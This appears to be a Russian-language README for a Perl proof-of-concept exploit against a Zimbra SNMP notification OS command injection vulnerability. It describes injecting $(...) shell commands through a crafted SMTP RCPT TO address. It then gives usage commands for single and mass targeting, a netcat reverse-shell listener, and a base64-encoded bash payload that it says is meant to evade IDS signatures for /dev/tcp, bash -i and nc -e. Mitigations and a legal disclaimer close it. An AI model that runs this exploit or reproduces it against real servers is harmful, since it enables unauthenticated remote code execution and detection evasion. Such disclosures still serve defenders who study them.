
Zimbra SNMP Notification OS Command Injection — Неаутентифицированное RCE через SMTP-эксплойт (PoC)
| Поле | Значение |
|---|
| CVE | CVE-2026-73570 |
| CVSS 3.1 | 8.9 HIGH — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L |
| CWE | CWE-78 — Некорректная нейтрализация специальных элементов, используемых в OS-команде |
| Затронуто | Zimbra ZCS < 10.1.20 (с установленным zimbra-snmp) |
| Исправлено в | ZCS 10.1.20 — июль 2026 |
| CISA KEV | Добавлено 2026-08-21 (крайний срок устранения FCEB: 2026-08-24) |
| Требуется аутентификация | Нет |
| Выполнение от имени | OS-пользователь zimbra |
Дополнительный пакет zimbra-snmp включает правило swatchdog, которое отслеживает /var/log/zimbra.log на предмет строк, соответствующих:
Service status change: <NAME> changed from <STATE> to <STATE>
При обнаружении совпадения swatchdog передаёт захваченное поле <NAME> напрямую в скрипт SNMP-уведомления без какой-либо санитизации.
Неаутентифицированный злоумышленник может внедрить специально сформированную запись журнала, отправив особым образом составленную SMTP-команду RCPT TO. Используя заключённую в кавычки локальную часть согласно RFC 5321, метасимволы оболочки — например, $(...) — встраиваются внутрь <NAME> и выполняются, когда swatchdog обрабатывает полученную строку журнала.
Для эксплуатации уязвимости на целевой системе должны выполняться все три условия:
zimbra-snmpsnmp_notify = true)swatchdogAttacker Zimbra MTA
│ │
│── TCP connect :25/:465/:587 ────►│
│── EHLO mx-test.invalid ─────────►│
│── MAIL FROM:<scanner@...> ──────►│
│── RCPT TO:<"x: Service status │
│ change: localhost $(CMD) │
│ changed from stopped to │
│ running"@cve.invalid> ──────►│
│ │── логирует данные RCPT TO ──► /var/log/zimbra.log
│ │ │
│ │ swatchdog находит
│ │ совпадение, извлекает
│ │ $(CMD), выполняет
│◄─────────── shell callback ───────────────────────────────────────┘
RCPT TO.swatchdog находит совпадение с шаблоном и извлекает внедрённый $(CMD).CMD от имени OS-пользователя zimbra.cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5
perl zimbra-poc.pl -H mail.target.com -r <YOUR_IP> -R 4444
perl zimbra-poc.pl -f targets.txt -r <YOUR_IP> -R 4444
targets.txt — по одному хосту на строку, опционально :port, строки, начинающиеся с #, игнорируются:
mail.example.com
mail.example.com:25
10.0.0.50:587
# ignored comment
| Флаг | Длинный | По умолчанию | Описание |
|---|---|---|---|
-H | --host | — | Имя хоста или IP одиночной цели |
-f | --file | — | Файл со списком целей |
-p | --port | 587 | Порт SMTP по умолчанию |
-r | --rhost | — | Ваш IP для обратного вызова reverse shell |
-R | --rport | 4444 | Порт прослушивателя |
-t | --timeout | 15 | Таймаут сокета в секундах |
-S | --ssl | выкл | Прямой TLS (автовключение на порту 465) |
-v | --verbose | выкл | Вывод полного SMTP-диалога |
-L | --logfile | — | Запись журнала сеанса в файл |
-h | --help | — | Показать справку |
# Терминал 1 — запуск прослушивателя
nc -lvnp 4444
# Терминал 2 — запуск эксплойта
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v
Команда reverse shell кодируется в base64 перед внедрением:
echo <b64>|base64 -d|bash
Это предотвращает сопоставление IDS/IPS с сигнатурами открытого текста, такими как /dev/tcp, bash -i или nc -e. Закодированный блок внедряется как $(...) внутри заключённой в кавычки локальной части RCPT TO, что запускает выполнение на стороне сервера, когда swatchdog обрабатывает запись журнала.
| Действие | Детали |
|---|---|
| Патч | Обновитесь до Zimbra ZCS ≥ 10.1.20 |
| Отключить SNMP-уведомления | zmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart |
| Удалить пакет | apt remove zimbra-snmp / yum remove zimbra-snmp |
| Сетевые меры | Ограничьте входящий SMTP (25/465/587) доверенными релеями, где это операционно возможно |
Эта proof-of-concept версия выпущена только для авторизованного тестирования безопасности, академических исследований и защитных целей.
Запуск её против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения, является незаконным.
Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый этим инструментом.